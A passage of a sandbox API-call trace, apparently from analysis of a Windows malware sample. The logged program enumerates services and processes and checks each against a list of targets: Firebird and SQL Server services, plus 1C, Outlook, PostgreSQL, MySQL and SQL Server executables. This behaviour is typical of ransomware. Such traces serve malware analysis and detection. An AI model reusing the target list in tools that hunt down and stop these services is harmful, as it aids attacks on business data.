lpString2="PlugPlay") returned 1 [0152.354] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0152.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0152.355] lstrlenW (lpString="Power") returned 5 [0152.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0152.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0152.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0152.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0152.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0152.355] lstrlenW (lpString="ProfSvc") returned 7 [0152.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0152.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0152.355] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0152.355] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0152.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0152.355] lstrlenW (lpString="RpcEptMapper") returned 12 [0152.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.355] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0152.355] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0152.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0152.355] lstrlenW (lpString="RpcSs") returned 5 [0152.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0152.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0152.355] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0152.355] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0152.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0152.355] lstrlenW (lpString="SamSs") returned 5 [0152.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0152.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0152.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0152.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0152.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0152.356] lstrlenW (lpString="Schedule") returned 8 [0152.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0152.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0152.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0152.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0152.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0152.356] lstrlenW (lpString="SENS") returned 4 [0152.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0152.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0152.356] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0152.356] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0152.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0152.356] lstrlenW (lpString="ShellHWDetection") returned 16 [0152.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.356] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0152.356] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0152.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0152.356] lstrlenW (lpString="Spooler") returned 7 [0152.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0152.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0152.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0152.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0152.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0152.356] lstrlenW (lpString="SysMain") returned 7 [0152.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0152.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0152.356] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0152.356] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0152.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0152.356] lstrlenW (lpString="Themes") returned 6 [0152.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0152.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0152.357] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0152.357] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0152.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0152.357] lstrlenW (lpString="TrkWks") returned 6 [0152.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0152.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0152.357] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0152.357] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0152.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0152.357] lstrlenW (lpString="UxSms") returned 5 [0152.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0152.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0152.357] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0152.357] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0152.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0152.357] lstrlenW (lpString="WdiServiceHost") returned 14 [0152.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0152.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0152.357] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0152.357] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0152.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0152.357] lstrlenW (lpString="WdiSystemHost") returned 13 [0152.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0152.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0152.357] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0152.357] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0152.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0152.357] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0152.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0152.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0152.357] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0152.357] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0152.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0152.358] lstrlenW (lpString="Winmgmt") returned 7 [0152.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0152.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0152.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0152.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0152.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0152.358] lstrlenW (lpString="WPDBusEnum") returned 10 [0152.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0152.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0152.358] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0152.358] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0152.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0152.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x433e1b8 | out: hHeap=0x630000) returned 1 [0152.358] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0152.360] Process32FirstW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.360] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0152.360] lstrlenW (lpString="System") returned 6 [0152.360] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0152.360] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0152.360] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0152.360] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0152.360] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0152.360] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0152.360] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0152.360] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0152.361] lstrlenW (lpString="smss.exe") returned 8 [0152.361] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0152.361] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0152.361] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0152.361] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0152.361] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0152.361] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0152.361] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0152.361] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.361] lstrlenW (lpString="csrss.exe") returned 9 [0152.361] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0152.361] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0152.361] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0152.361] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0152.361] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0152.361] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0152.361] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0152.361] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0152.362] lstrlenW (lpString="wininit.exe") returned 11 [0152.362] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0152.362] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0152.362] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0152.362] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0152.362] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0152.362] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0152.362] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0152.362] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.362] lstrlenW (lpString="csrss.exe") returned 9 [0152.362] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0152.362] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0152.362] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0152.362] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0152.362] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0152.362] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0152.363] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0152.363] lstrlenW (lpString="winlogon.exe") returned 12 [0152.363] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0152.363] lstrlenW (lpString="services.exe") returned 12 [0152.363] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0152.363] lstrlenW (lpString="lsass.exe") returned 9 [0152.363] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0152.364] lstrlenW (lpString="lsm.exe") returned 7 [0152.364] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.364] lstrlenW (lpString="svchost.exe") returned 11 [0152.364] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.364] lstrlenW (lpString="svchost.exe") returned 11 [0152.364] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.365] lstrlenW (lpString="svchost.exe") returned 11 [0152.365] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.365] lstrlenW (lpString="svchost.exe") returned 11 [0152.365] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.365] lstrlenW (lpString="svchost.exe") returned 11 [0152.365] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0152.366] lstrlenW (lpString="audiodg.exe") returned 11 [0152.366] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.366] lstrlenW (lpString="svchost.exe") returned 11 [0152.366] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0152.366] lstrlenW (lpString="userinit.exe") returned 12 [0152.366] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0152.367] lstrlenW (lpString="explorer.exe") returned 12 [0152.367] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0152.367] lstrlenW (lpString="dwm.exe") returned 7 [0152.367] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.367] lstrlenW (lpString="svchost.exe") returned 11 [0152.367] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0152.368] lstrlenW (lpString="n.exe") returned 5 [0152.368] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0152.368] lstrlenW (lpString="spoolsv.exe") returned 11 [0152.368] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.368] lstrlenW (lpString="svchost.exe") returned 11 [0152.368] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0152.369] lstrlenW (lpString="taskhost.exe") returned 12 [0152.369] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0152.369] lstrlenW (lpString="reader_sl.exe") returned 13 [0152.369] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0152.369] lstrlenW (lpString="rundll32.exe") returned 12 [0152.369] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0152.370] lstrlenW (lpString="dinotify.exe") returned 12 [0152.370] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0152.370] lstrlenW (lpString="n.exe") returned 5 [0152.370] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0152.370] lstrlenW (lpString="consent.exe") returned 11 [0152.371] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0152.371] CloseHandle (hObject=0x338) returned 1 [0152.371] Sleep (dwMilliseconds=0x1f4) [0152.928] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0152.929] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0152.929] GetLastError () returned 0xea [0152.929] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x433e1b8 [0152.929] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x433e1b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x433e1b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0152.930] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0152.931] lstrlenW (lpString="Appinfo") returned 7 [0152.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0152.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0152.931] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0152.931] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0152.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0152.931] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0152.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.931] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0152.931] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0152.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0152.931] lstrlenW (lpString="AudioSrv") returned 8 [0152.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0152.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0152.931] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0152.931] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0152.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0152.931] lstrlenW (lpString="BFE") returned 3 [0152.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0152.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0152.931] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0152.931] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0152.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0152.931] lstrlenW (lpString="CryptSvc") returned 8 [0152.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0152.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0152.932] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0152.932] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0152.932] lstrcmpiW 